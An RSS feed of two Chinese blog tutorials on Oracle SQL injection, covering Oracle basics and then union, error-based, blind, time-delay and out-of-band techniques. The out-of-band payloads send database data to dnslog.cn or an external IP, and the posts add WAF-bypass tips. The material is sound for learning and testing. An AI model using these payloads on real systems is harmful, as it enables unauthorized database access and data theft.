<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>sql &#8211; ChaBug安全</title>
	<atom:link href="/tags/sql/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Mon, 10 Aug 2020 03:12:42 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>一篇文章带你入门Oracle注入</title>
		<link>/web/1827.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Mon, 10 Aug 2020 02:53:57 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[sql]]></category>
		<guid isPermaLink="false">/?p=1827</guid>

					<description><![CDATA[Oracle基础学习 写在前头，本文是我在学习Oracle注入时做的笔记加以整理所作的分享，由于在面试中被问过几次，并不是很难的东西，总是被问住，所以决定抽一些时间彻底学习一遍。一...]]></description>
										<content:encoded><![CDATA[<h1>Oracle基础学习</h1>
<p>写在前头，本文是我在学习Oracle注入时做的笔记加以整理所作的分享，由于在面试中被问过几次，并不是很难的东西，总是被问住，所以决定抽一些时间彻底学习一遍。一些基本语法与My<span class="wpcom_tag_link"><a href="/tags/sql" title="sql" target="_blank">sql</a></span>差别也不是很大，学起来并不费劲。</p>
<p>本文极其适合入门选手，一篇文章足以帮你入门Oracle注入。抄了一些y4博客文章的目录，查阅官方文档细化了函数的使用。请搭配官方文档食用，并亲手实践为主，文中如有错误请通知我更改。</p>
<h2>Oracle Database安装</h2>
<blockquote><p>
  为了方便，直接docker 拉一个镜像回来。</p>
<p>  版本 Oracle Database 11g
</p></blockquote>
<pre><code class="language-bash line-numbers"># 拉取镜像
$ docker pull deepdiver/docker-oracle-xe-11g

# 启动容器
$ docker run -d --name oracledb -p 1002:22 -p 1521:1521 deepdiver/docker-oracle-xe-11g

# 可以选择进入docker操作，不需要将docker 22端口映射出来。
$ docker exec -it oracledb bash
</code></pre>
<p><img src="https://i.loli.net/2020/08/08/ubWUSn7TMweQ42D.png" alt="" /></p>
<h2>基础学习</h2>
<p>dual 是Oracle中的虚表，<strong>任何用户</strong>均可读取，常用在没有目标表的select 语句中。</p>
<p>Oracle数据库中使用的语言有三种，分别为：<code>SQL</code>,<code>java</code>,<code>PL/SQL</code>。</p>
<p><strong>本文接下来所有记录的语法、函数使用等，均摘自Oracle官方文档，如有不明白之处自行去官网查询详细文档即可<a class="wp-editor-md-post-content-link" href="https://docs.oracle.com/en/">官方文档</a></strong></p>
<h3>体系结构</h3>
<pre><code class="language-rst line-numbers"># 实例
  一个Oracle实例（Oracle Instance）有一系列的后台进程和内存结构组成。一个数据库可以有n个实例。

# 用户
  Oracle数据库的基本单位，等同于Mysql中的库。Mysql：当前数据库下有N张表  &lt;=&gt; Oracle：当前用户下有N张表。

# 表空间
  表空间是Oracle对物理数据库上相关数据文件（ORA或者DBF文件）的逻辑映射。一个数据库在逻辑上被划分成一到若干个表空间，每个表空间包含了在逻辑上相关的一组结构。每个数据库至少有一个表空间（称之为system表空间）。
  每个表空间由同一磁盘上的一个或多个文件组成，这些文件叫数据文件（datafile）。一个数据文件只能属于一个表空间。

# 数据文件（dbf,ora）
  数据文件是数据库的物理存储单位。表空间与数据文件是一对多的关系（用户与表空间也是一对多的关系），而数据文件只能属于一个表空间，删除数据文件需先删除该文件所属的表空间。
  表的数据，是由用户放入某一个表空间的，而这个表空间会随机把这些表数据放到一个或多个数据文件中。

</code></pre>
<h3>Oracle数据库中常用角色</h3>
<pre><code class="language-rst line-numbers">connect --连接角色，基本角色
resource --开发者角色
dba --超级管理员角色
</code></pre>
<p><strong>Oracle数据库存在默认用户：scott，密码：tiger。需要超级管理员权限用户解锁。</strong></p>
<h3>语法</h3>
<pre><code class="language-bash line-numbers"># 查看当前连接用户
SQL&gt; select user from dual;
# 创建用户名为sqli密码为pentest的用户
SQL&gt; create user sqli identified by pentest;
# 给新创建的用户授权，connect角色：保证该用户可以连接数据库；resource角色：该用户可以使用数据库资源
SQL&gt; grant connect,resource to sqli;
# 删除用户：当前连接数据库的用户必须具有删除用户权限（如sys）

# 创建表空间（需要超级管理员权限）
SQL&gt; create tablespace pentest
  2  datafile '/tmp/pentest.dbf'
  3  size 100m
  4  autoextend on
  5  next 10m;

Tablespace created.
# 删除表空间
SQL&gt; drop tablespace pentest; --删除表空间后，数据文件依旧存在。

Tablespace dropped.

</code></pre>
<h3>数据类型</h3>
<pre><code class="language-rst line-numbers">1. varchar, varchar2  表示一个字符串。
2. NUMBER    NUMBER(n)表示一个整数，长度是n；NUMBER(m,n)表示一个小数，总长度m，小数：n，整数是m-n。
    eg: NUMBER(4,2) 表示最大可以存储数字为99.99
3. DATA      表示日期类型
4. CLOB      大对象，表示大文本数据类型，可存4G
5. BLOB      大对象，表示二进制数据，可存4G
</code></pre>
<h3>语法</h3>
<pre><code class="language-bash line-numbers"># 创建users表
SQL&gt; create table users(
  2  id number(10),
  3  uname varchar2(16),
  4  pwd varchar2(32)
  5  )
  6  ;

Table created.
# 添加列
SQL&gt; alter table users add email varchar2(40);
# 修改列数据类型
SQL&gt; alter table users modify email char(40);
# 修改列的名称
SQL&gt; alter table users rename column email to sex;
# 删除列
SQL&gt; alter table users drop column sex;
# 插入数据（values字符串不能使用双引号）
SQL&gt; insert into users (id,uname,pwd) values(1,'admin','ab71giedas98g1o2dasgd12e98g');

1 row created.
# 修改数据
update users set uname='administrator';
# 删除数据
delete from users where uname='administrator';
</code></pre>
<h3>序列</h3>
<pre><code class="language-bash line-numbers"># 默认从1开始：依次递增，主要用来给主键赋值使用。序列不真的属于任何表，但是可以逻辑和表做绑定。
SQL&gt; create sequence s_users;

Sequence created.
SQL&gt; insert into users (id,uname,pwd) values(s_users.nextval,'ceshi','d81bojd09sha1onpmd09a');

1 row created.
SQL&gt; select * from users;

        ID UNAME            PWD
---------- ---------------- --------------------------------
         1 admin            ab71giedas98g1o2dasgd12e98g
         3 ceshi            d81bojd09sha1onpmd09a
</code></pre>
<hr />
<h1>Orcale数据库注入学习</h1>
<h2>基础</h2>
<pre><code class="language-rst line-numbers"># Oracle中使用``||``拼接字符串
SQL&gt; select 'pen'||'test' from dual;

'PEN'||
-------
pentest
# 分页操作（mysql中的limit）
SQL&gt; select * from users where rownum&lt;2; --rownum支持&lt;,&lt;=,!=


# 支持的注释符
--
-- -
--空格
/**/
</code></pre>
<p><strong>注：Oracle 字符串区分大小写</strong></p>
<h2>信息获取</h2>
<pre><code class="language-bash line-numbers">SQL&gt; select banner from v$version;

BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
PL/SQL Release 11.2.0.2.0 - Production
CORE    11.2.0.2.0      Production
TNS for Linux: Version 11.2.0.2.0 - Production
NLSRTL Version 11.2.0.2.0 - Production

# 获取其中某版本使用正则即可，举例：
SQL&gt; select banner from v$version where banner like 'Oracle%';

BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

# 获取当前所连接的用户名
SQL&gt; select user from dual;

USER
------------------------------
SQLI

# 获取数据库中所有用户
SQL&gt; select username from all_users;
SELECT name FROM sys.user$; -- 需要高权限

# 获取当前用户权限
SQL&gt; select * from session_privs;

# 获取当前用户所拥有权限下的所有数据库
SQL&gt; select distinct owner,table_name from all_tables;

# 获取指定表的字段（注意这里的table_name全部大写）
SQL&gt; select column_name from all_tab_columns where table_name='USERS';

COLUMN_NAME
------------------------------
ID
UNAME
PWD
</code></pre>
<p><strong>Oracle提供了一个名为的内置命名空间<code>USERENV</code>，用于描述当前会话。以下语句返回登录到数据库的用户的名称：</strong></p>
<pre><code class="language-rst line-numbers">SQL&gt; select SYS_CONTEXT('USERENV','SESSION_USER') from dual;

SYS_CONTEXT('USERENV','SESSION_USER')
--------------------------------------------------------------------------------
SQLI

SQL&gt; select SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY') from dual;

SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY')
--------------------------------------------------------------------------------
sqli
</code></pre>
<p><strong>具体其他的<code>parameter</code><a class="wp-editor-md-post-content-link" href="https://docs.oracle.com/cd/B19306_01/server.102/b14200/functions165.htm">官方文档</a>有写</strong></p>
<h3>备忘录</h3>
<p><strong><code>1. GLOBAL_NAME</code> 包含一行，显示当前数据库的全局名称。</strong></p>
<p><strong>2. LISTAGG对ORDER BY子句中指定的每个组内的数据进行排序，然后合并度量列的值。<code>measure_expr</code>可以是任何表达。度量列中的空值将被忽略。</strong></p>
<p><img src="https://i.loli.net/2020/08/09/3k2rYTzvbaiolje.png" alt="" /></p>
<p><strong>3. <code>USER_TABLES</code>描述当前用户拥有的关系表。</strong></p>
<p><strong>4. <code>ALL_TABLES</code>描述当前用户可访问的关系表。（类似Mysql中的information_schema.tables）</strong></p>
<p><strong>5. <code>DBA_ALL_TABLES</code>描述数据库中的所有对象表和关系表。其列与中的列相同ALL_ALL_TABLES。</strong></p>
<p><strong>6. <code>ALL_ALL_TABLES</code>描述当前用户可访问的对象表和关系表。</strong></p>
<p><strong>7. <code>USER_ALL_TABLES</code>描述当前用户拥有的对象表和关系表。</strong></p>
<p><strong>8. <code>DBA_TABLES</code>描述数据库中的所有关系表，其列与ALL_TABLES中的列相同，查询条件：DBA权限用户。</strong></p>
<pre><code class="language-bash line-numbers"># 获取当前数据库名
SQL&gt; select * from global_name;

GLOBAL_NAME
--------------------------------------------------------------------------------
XE
# 实现mysql的group_concat
SQL&gt; select listagg(column_name,'~') within group (order by column_name) from user_tab_columns;

LISTAGG(COLUMN_NAME,'~')WITHINGROUP(ORDERBYCOLUMN_NAME)
--------------------------------------------------------------------------------
ID~PWD~UNAME
</code></pre>
<h2>联合查询</h2>
<p><strong><em>注：</em>Oracle中表达式必须具有与对应表达式相同的数据类型，且在Oralce数据库中要求select语句后必须指定要查询的表名（使用虚表dual即可)</strong></p>
<pre><code class="language-bash line-numbers">SQL&gt; select * from users where id=2 union select null,null,null from dual;

        ID UNAME            PWD
---------- ---------------- --------------------------------

# 获取表名
SQL&gt; select * from users where id=2 union select null,null,(select listagg(table_name,'~') within group(order by 1) from all_tables where owner='SQLI') from dual;

        ID UNAME
---------- ----------------
PWD
--------------------------------------------------------------------------------

ADDRESS~USERS

# 获取指定表的字段名
SQL&gt; select * from users where id=2 union select null,null,(select listagg(column_name,':') within group(order by 1) from all_tab_columns where table_name='USERS') from dual;

        ID UNAME
---------- ----------------
PWD
--------------------------------------------------------------------------------

ID:PWD:UNAME
# 获取指定字段内容
SQL&gt; select * from users where id=2 union select null,null,(select listagg(uname||'&amp;'||pwd,':') within group(order by 1) from users where rownum=1) from dual;

    ID UNAME
---------- ----------------
PWD
--------------------------------------------------------------------------------

admin&amp;ab71giedas98g1o2dasgd12e98g
</code></pre>
<p><img src="https://i.loli.net/2020/08/09/MXLRTkZY6tshwlK.png" alt="" /></p>
<h2>报错注入</h2>
<p><strong>报错注入的本质就是使数据库返回一个语法等错误，并且返回错误中的某些内容我们可控，借此来获取我们需要的信息。</strong></p>
<h3>备忘录</h3>
<p><strong>1. <code>UTL_INADDR</code>程序包提供了一个PL/SQL过程来支持Internet寻址。它提供了一个API，用于检索本地和远程主机的主机名和IP地址。</strong></p>
<p><img src="https://i.loli.net/2020/08/09/thugA3KRxoqUnJf.png" alt="" /></p>
<pre><code class="language-rst line-numbers"># 此程序包是调用者的权限程序包，这意味着必须connect在分配给他或她希望连接到的远程网络主机的访问控制列表中向调用用户授予特权。

# Syntax
UTL_INADDR.GET_HOST_NAME (
   ip  IN VARCHAR2 DEFAULT NULL)
RETURN host_name VARCHAR2;

由于GET_HOST_ADDRESS函数所需参数类型是varchar2，且报错时会讲参数表达式结果返回，因此可以借此实现报错注入。GET_HOST_NAME函数同理。
</code></pre>
<p><em>需要注意的是，执行UTL_INADDR软件包需要拥有connect权限的用户，本次学习环境为11g，因此本次笔记暂不考虑之前版本。</em></p>
<p><img src="https://i.loli.net/2020/08/09/p29ECyJ5PRIDwdB.png" alt="" /></p>
<p><strong>2. ctxsys.drithsx.sn，没找到具体官方文档说明，用法如下：</strong></p>
<pre><code class="language-sql line-numbers">SQL&gt; select * from users where id=1 and 1=(select ctxsys.drithsx.sn(1,(select user from dual))from dual);
</code></pre>
<p><strong>3. ctxsys.ctx_report.token_type，这是一个辅助功能，可将英语名称转换为数字标记类型。</strong></p>
<pre><code class="language-sql line-numbers"># 使用方法
function token_type(
  index_name in varchar2,
  type_name  in varchar2
) return number;

SQL&gt; select ctxsys.ctx_report.token_type((select user from dual),1) from dual;
select ctxsys.ctx_report.token_type((select user from dual),1) from dual
       *
ERROR at line 1:
ORA-20000: Oracle Text error:
DRG-10502: index SQLI does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.CTX_REPORT", line 711
</code></pre>
<p><em>这种类似的可以用来报错注入的函数很多，举个例子：</em></p>
<pre><code class="language-sql line-numbers">SQL&gt; select ctxsys.ctx_report.token_info('aa','xx',1)from dual;
ERROR:
ORA-20000: Oracle Text error:
DRG-10502: index AA does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.CTX_REPORT", line 615
ORA-06512: at line 1

no rows selected
</code></pre>
<p><strong>4. dbms_xdb_version.checkin,此函数检入已签出的VCR，并返回新创建版本的资源ID。</strong></p>
<pre><code class="language-rst line-numbers"># 用法
DBMS_XDB_VERSION.CHECKIN(
   pathname VARCHAR2) 
 RETURN DBMS_XDB.resid_type;

 如果路径名不存在，则会引发异常。

SQL&gt; select * from users where id=1 and '0x2e'=(select dbms_xdb_version.checkin((select user from dual))from dual);
select * from users where id=1 and '0x2e'=(select dbms_xdb_version.checkin((select user from dual))from dual)
              *
ERROR at line 1:
ORA-31001: Invalid resource handle or path name "SQLI"
</code></pre>
<p><em>需要注意使用二进制数据类型</em></p>
<p><code>dbms_xdb_version.makeversioned</code></p>
<pre><code class="language-rst line-numbers">DBMS_XDB_VERSION.MAKEVERSIONED(
   pathname   VARCHAR2) 
 RETURN DBMS_XDB.resid_type;

如果资源不存在，则会引发异常。
</code></pre>
<p><em>需要注意使用二进制数据类型</em></p>
<p>报错注入的payload就不写太多了，原理感觉都那样，还有很多类似的函数等可以挖掘出来，具体还有哪些常见的报错注入payload可以看<a class="wp-editor-md-post-content-link" href="[https://y4er.com/post/oracle-sql-inject/#%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5](https://y4er.com/post/oracle-sql-inject/#报错注入)">Y4er博客</a>文章里面的总结。</p>
<h2>盲注</h2>
<p>感觉这部分没什么可以记录的，盲注的思路都差不多，字符串比较，运算符的运用。随便记录一下吧。</p>
<pre><code class="language-sql line-numbers"># decode函数用来比较。
SQL&gt; select * from users where id=1 and 1=(select decode(user,'SQLI',1) from dual);
SQL&gt; select * from users where id=1 and 'S'=(select substr(user,1,1)from dual);
</code></pre>
<p><img src="https://i.loli.net/2020/08/09/6UqFAvx4wTp5h3P.png" alt="" /></p>
<p><strong>需要注意大小写的问题</strong></p>
<h2>延时注入</h2>
<pre><code class="language-sql line-numbers"># 用来判断注入点还行
SQL&gt; select count(*) from all_objects;

# 利用了oracle管道功能接收消息的函数RECEIVE_MESSAGE，实现延时注入
DBMS_PIPE.RECEIVE_MESSAGE (
   pipename     IN VARCHAR2,
   timeout      IN INTEGER      DEFAULT maxwait)
RETURN INTEGER;

# 简单的使用
SQL&gt; select dbms_pipe.receive_message('aaa',3) from dual;

DBMS_PIPE.RECEIVE_MESSAGE('AAA',3)
----------------------------------
                 1
SQL&gt; select dbms_pipe.receive_message('aaa',(decode((select user from dual),'SQLI',3))) from dual;

</code></pre>
<p><img src="https://i.loli.net/2020/08/09/LKjFgtpo6IvkGeh.png" alt="" /></p>
<h2>带外攻击OOB（Out Of Band）</h2>
<blockquote><p>
  既然是带外攻击，自然需要connect
</p></blockquote>
<p><strong>utl_http.request</strong></p>
<pre><code class="language-bash line-numbers">UTL_HTTP.REQUEST (
   url              IN VARCHAR2,
   proxy            IN VARCHAR2 DEFAULT NULL, 
   wallet_path      IN VARCHAR2 DEFAULT NULL,
   wallet_password  IN VARCHAR2 DEFAULT NULL)
RETURN VARCHAR2;

SQL&gt; select utl_http.request('http://ip/?result='||(select user from dual))from dual;

我这里测试没有成功，报错ORA-00904: : invalid identifier，可能是版本问题。
</code></pre>
<p><strong>utl_inaddr.get_host_address</strong></p>
<p>报错注入那个函数，不过多介绍了</p>
<pre><code class="language-sql line-numbers">SQL&gt; select utl_inaddr.get_host_address((select user from dual)||'.o6xgjz.dnslog.cn')from dual;
</code></pre>
<p><img src="https://i.loli.net/2020/08/09/53W9rAHguphiRMe.png" alt="" /></p>
<p><strong>DBMS_LDAP</strong></p>
<p>DBMS_LDAP软件包使您可以从LDAP服务器访问数据。</p>
<pre><code class="language-rst line-numbers">FUNCTIONN INIT():
    init()用LDAP服务器初始化会话。这实际上建立了与LDAP服务器的连接。

# 语法
FUNCTION init      
(
hostname IN VARCHAR2,
portnum  IN PLS_INTEGER
)
RETURN SESSION;
</code></pre>
<p><img src="https://i.loli.net/2020/08/09/3mufFiD86WwNJsC.png" alt="" /></p>
<p><strong>HTTPURITYPE</strong></p>
<p>可以创建UriType列，并在其中存储DBURITYPE，XDBURITYPE或HTTPURITYPE的实例。 您还可以定义自己的UriType子类型来处理不同的URL协议。</p>
<pre><code class="language-reStructuredText line-numbers">列举几个可以带外的函数
通过阅读官方文档，明显可以看出会请求httpuritype所指定的uri的函数有哪些。

1. GETCONTENTTYPE() 作用：返回URI指向的文档的内容类型。
2. GETCLOB() 作用：返回位于HTTP URL地址的CLOB。
3. GETBLOB() 作用：返回位于URL指定的地址的BLOB。
   select httpuritype.createuri('http://xxx.o6xgjz.dnslog.cn/').getblob() from dual;
4. GETXML() 作用：返回位于URL指定的地址的。
   select httpuritype.createuri('http://xxx.o6xgjz.dnslog.cn/').getxml() from dual;
</code></pre>
<p><img src="https://i.loli.net/2020/08/09/Kx6nAyCk5LFhZqj.png" alt="" /></p>
<p><strong>文章到此为止了，仅作为Oracle注入入门的学习笔记，在后续学习java的过程中，会继续将Oracle注入更深入的利用（历史漏洞XXE，提权，执行命令等）记录笔记并做分享。</strong></p>
<h1>抛砖引玉</h1>
<p><strong>一些很常见的tips在Oracle数据库中的尝试，至于具体实际中如何去bypass waf，还望自行发挥。</strong></p>
<pre><code class="language-rst line-numbers"># 借用了在MySQL中bypass常用的技巧来做了简单的可行性测试，注释符和换行的搭配使用。
1. 注释符拼接垃圾字符配合换行
SQL&gt; select -- asdnaso/*asdas*/
  2  user from--ioasndoiand
  3  dual;

USER
------------------------------
SQLI

2. 利用waf的通用性特点
SQL&gt; select user/*!saho*/from dual;

USER/*!SAHO*/
------------------------------
SQLI

SQL&gt; 


调用函数是可使用空格换行等
select ctxsys. drithsx.sn(user,'aa')from dual;  
</code></pre>
<p><img src="https://i.loli.net/2020/08/09/FkYTBX3Qg5WbwIA.png" alt="" /></p>
<pre><code class="language-rst line-numbers">在线靶场
http://o1.lab.aqlab.cn:81/?id=1
</code></pre>
<h3>你学废了吗？</h3>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Oracle SQL注入学习</title>
		<link>/web/1351.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 18 Mar 2020 13:10:39 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=1351</guid>

					<description><![CDATA[基本概念 Oracle和MySQL数据库语法大致相同，结构不太相同。最大的一个特点就是oracle可以调用Java代码。 对于“数据库”这个概念而言，Oracle采用了”表空间“的...]]></description>
										<content:encoded><![CDATA[<h2>基本概念</h2>
<p><span class="wpcom_tag_link"><a href="/tags/oracle" title="Oracle" target="_blank">Oracle</a></span>和MySQL数据库语法大致相同，结构不太相同。<strong>最大的一个特点就是oracle可以调用Java代码。</strong></p>
<p>对于“数据库”这个概念而言，Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的，这些数据文件和相关文件形成一个完整的数据库。当数据库创建时，Oracle 会默认创建五个表空间：SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP：<br />
1. SYSTEM：看名字就知道这个用于是存储系统表和管理配置等基本信息<br />
2. SYSAUX：类似于 SYSTEM，主要存放一些系统附加信息，以便减轻 SYSTEM 的空间负担<br />
3. UNDOTBS：用于事务回退等<br />
4. TEMP：作为缓存空间减少内存负担<br />
5. USERS：就是存储我们定义的表和数据</p>
<p>在Oracle中每个表空间中均存在一张dual表，这个表是虚表，并没有实际的存储意义，它永远只存储一条数据，因为Oracle的SQL语法要求select后必须跟上from，所以我们通常使用dual来作为计算、查询时间等SQL语句中from之后的虚表占位，也就是<code>select 1+1 from dual</code>。</p>
<p>再来看Oracle中用户和权限划分：Oracle 中划分了许多用户权限，权限的集合称为角色。例如 CONNECT 角色具有连接到数据库权限，RESOURCE 能进行基本的增删改查，DBA 则集合了所有的用户权限。在创建数据库时，会默认启用 sys、system 等用户：<br />
1. sys：相当于 Linux 下的 root 用户。为 DBA 角色<br />
2. system：与 sys 类似，但是相对于 sys 用户，无法修改一些关键的系统数据，这些数据维持着数据库的正常运行。为 DBA 角色。<br />
3. public：public 代指所有用户（everyone），对其操作会应用到所有用户上（实际上是所有用户都有 public 用户拥有的权限，如果将 DBA 权限给了 public，那么也就意味着所有用户都有了 DBA 权限）</p>
<h2>基本语法</h2>
<pre><code class="language-sql ">select column, group_function(column)
from table
[where condition]
[group by group_by_expression]
[having group_condition]
[order by column];
</code></pre>
<p>Oracle要求select后必须指明要查询的表名，可以用dual。</p>
<p>Oracle使用 <code>||</code> 拼接字符串，MySQL中为或运算。<br />
<img src="https://y4er.com/img/uploads/20200318219990.png" alt="image" /></p>
<p>单引号和双引号在Oracle中虽然都是字符串，但是双引号可以用来消除关键字，比如<code>sysdate</code>。</p>
<p>Oracle中limit应该使用虚表中的rownum字段通过where条件判断。<br />
<img src="/wp-content/uploads/2020/03/20200318214341.png" alt="image" /></p>
<p>Oracle中没有空字符，<code>''</code>和&#8217;null&#8217;都是null，而MySQL中认为<code>''</code>仍然是一个字符串。</p>
<p>Oracle对数据格式要求严格，比如<code>union select</code>的时候，放到下文讲。</p>
<p>Oracle的系统表：<br />
&#8211; dba_tables : 系统里所有的表的信息，需要DBA权限才能查询<br />
&#8211; all_tables : 当前用户有权限的表的信息<br />
&#8211; user_tables: 当前用户名下的表的信息<br />
&#8211; DBA_ALL_TABLES：DBA 用户所拥有的或有访问权限的对象和表<br />
&#8211; ALL_ALL_TABLES：某一用户拥有的或有访问权限的对象和表<br />
&#8211; USER_ALL_TABLES：某一用户所拥有的对象和表</p>
<p><strong>DBA_TABLES >= ALL_TABLES >= USER_TABLES</strong></p>
<h2>信息收集</h2>
<p>从现在开始，我们以<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>点<code>http://localhost:8080/oracleInject/index?username=admin</code>为例讲解。代码随便写一个jsp网页就行了。</p>
<p><img src="/wp-content/uploads/2020/03/20200318212378.png" alt="image" /></p>
<p>获取数据库版本信息</p>
<pre><code class="">http://localhost:8080/oracleInject/index?username=admin' union select 1,'a',(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25') from dual -- +
</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318218628.png" alt="image" /></p>
<p>获取操作系统版本信息</p>
<pre><code class="">http://localhost:8080/oracleInject/index?username=admin' union select 1,'a',(SELECT banner FROM v$version where banner like 'TNS%25') from dual -- +
</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318214842.png" alt="image" /></p>
<p>获取当前数据库</p>
<pre><code class="">http://localhost:8080/oracleInject/index?username=admin' union select 1,'a',(SELECT name FROM v$database) from dual -- +
</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318218985.png" alt="image" /></p>
<p>获取数据库用户</p>
<pre><code class="language-sql ">SELECT user FROM dual;
</code></pre>
<p>获取所有数据库用户</p>
<pre><code class="language-sql ">SELECT username FROM all_users;
SELECT name FROM sys.user$; -- 需要高权限
</code></pre>
<p>获取当前用户权限</p>
<pre><code class="language-sql ">SELECT * FROM session_privs
</code></pre>
<p>获取当前用户有权限的所有数据库</p>
<pre><code class="language-sql ">SELECT DISTINCT owner, table_name FROM all_tables
</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318214705.png" alt="image" /></p>
<p>获取表，all_tables类似于MySQL中的information_schema.tables，里面的结构可以自己构造<span class="wpcom_tag_link"><a href="/tags/sql" title="sql" target="_blank">sql</a></span>语句。</p>
<pre><code class="language-sql ">SELECT * FROM all_tables;
</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318213870.png" alt="image" /></p>
<p>获取字段名</p>
<pre><code class="language-sql ">SELECT column_name FROM all_tab_columns
</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318210974.png" alt="image" /></p>
<p>在Oracle启动时，在 userenv 中存储了一些系统上下文信息，通过 SYS_CONTEXT 函数，我们可以取回相应的参数值。包括当前用户名等等。</p>
<pre><code class="language-sql ">SELECT SYS_CONTEXT（'USERENV'，'SESSION_USER'） from dual;
</code></pre>
<p>更多可用参数说明可以查阅 Oracle 提供的文档：<a class="wp-editor-md-post-content-link" href="https://docs.oracle.com/cd/B19306_01/server.102/b14200/functions165.htm">SYS_CONTEXT</a></p>
<h2>注入类型</h2>
<h3>联合查询</h3>
<p>order by 猜字段数量，union select进行查询，需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位，然后逐位判断每个字段的类型，比如：</p>
<pre><code class="language-sql ">http://localhost:8080/oracleInject/index?username=admin' union select null,null,null from dual -- 正常
http://localhost:8080/oracleInject/index?username=admin' union select 1,null,null from dual -- 正常说明第一个字段是数字型
http://localhost:8080/oracleInject/index?username=admin' union select 1,2,null from dual -- 第二个字段为数字时错误
http://localhost:8080/oracleInject/index?username=admin' union select 1,'asd',null from dual -- 正常 为字符串 依此类推
</code></pre>
<p>查数据库版本和用户名</p>
<pre><code class="">http://localhost:8080/oracleInject/index?username=admin' union select 1,(select user from dual),(SELECT banner FROM v$version where banner like 'Oracle%25') from dual -- 
</code></pre>
<p>查当前数据库</p>
<pre><code class="">http://localhost:8080/oracleInject/index?username=admin' union select 1,(SELECT global_name FROM global_name),null from dual -- 
</code></pre>
<p>查表，wmsys.wm_concat()等同于MySQL中的group_concat()，在11gr2和12C上已经抛弃，可以用LISTAGG()替代</p>
<pre><code class="">http://localhost:8080/oracleInject/index?username=admin' union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='SYSTEM'),null from dual -- 
</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318212695.png" alt="image" /><br />
但是LISTAGG()返回的是varchar类型，如果数据表很多会出现字符串长度过长的问题。这个时候可以使用通过字符串截取来进行。</p>
<p>查字段</p>
<pre><code class="">http://localhost:8080/oracleInject/index?username=admin' union select 1,(select column_name from all_tab_columns where table_name='TEST' and rownum=2),null from dual -- 
</code></pre>
<p>有表名字段名出数据就不说了。</p>
<h2>报错注入</h2>
<h3>utl_inaddr.get_host_name</h3>
<pre><code class="language-sql ">select utl_inaddr.get_host_name((select user from dual)) from dual;
</code></pre>
<p>11g之后，使用此函数的数据库用户需要有访问网络的权限</p>
<h3>ctxsys.drithsx.sn</h3>
<pre><code class="language-sql ">select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
</code></pre>
<p>处理文本的函数，参数错误时会报错。</p>
<h3>CTXSYS.CTX_REPORT.TOKEN_TYPE</h3>
<pre><code class="language-sql ">select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;
</code></pre>
<h3>XMLType</h3>
<p>我在12c中测试失败。</p>
<pre><code class="">http://localhost:8080/oracleInject/index?username=admin' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
</code></pre>
<p>注意url编码，如果返回的数据有空格的话，它会自动截断，导致数据不完整，这种情况下先转为 hex，再导出。</p>
<h3>dbms_xdb_version.checkin</h3>
<pre><code class="language-sql ">select dbms_xdb_version.checkin((select user from dual)) from dual;
</code></pre>
<h3>dbms_xdb_version.makeversioned</h3>
<pre><code class="language-sql ">select dbms_xdb_version.makeversioned((select user from dual)) from dual;
</code></pre>
<h3>dbms_xdb_version.uncheckout</h3>
<pre><code class="language-sql ">select dbms_xdb_version.uncheckout((select user from dual)) from dual;
</code></pre>
<h3>dbms_utility.sqlid_to_sqlhash</h3>
<pre><code class="language-sql ">SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;
</code></pre>
<h3>ordsys.ord_dicom.getmappingxpath</h3>
<pre><code class="language-sql ">select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;
</code></pre>
<h3>UTL_INADDR.get_host_name</h3>
<pre><code class="language-sql ">select UTL_INADDR.get_host_name((select user from dual)) from dual;
</code></pre>
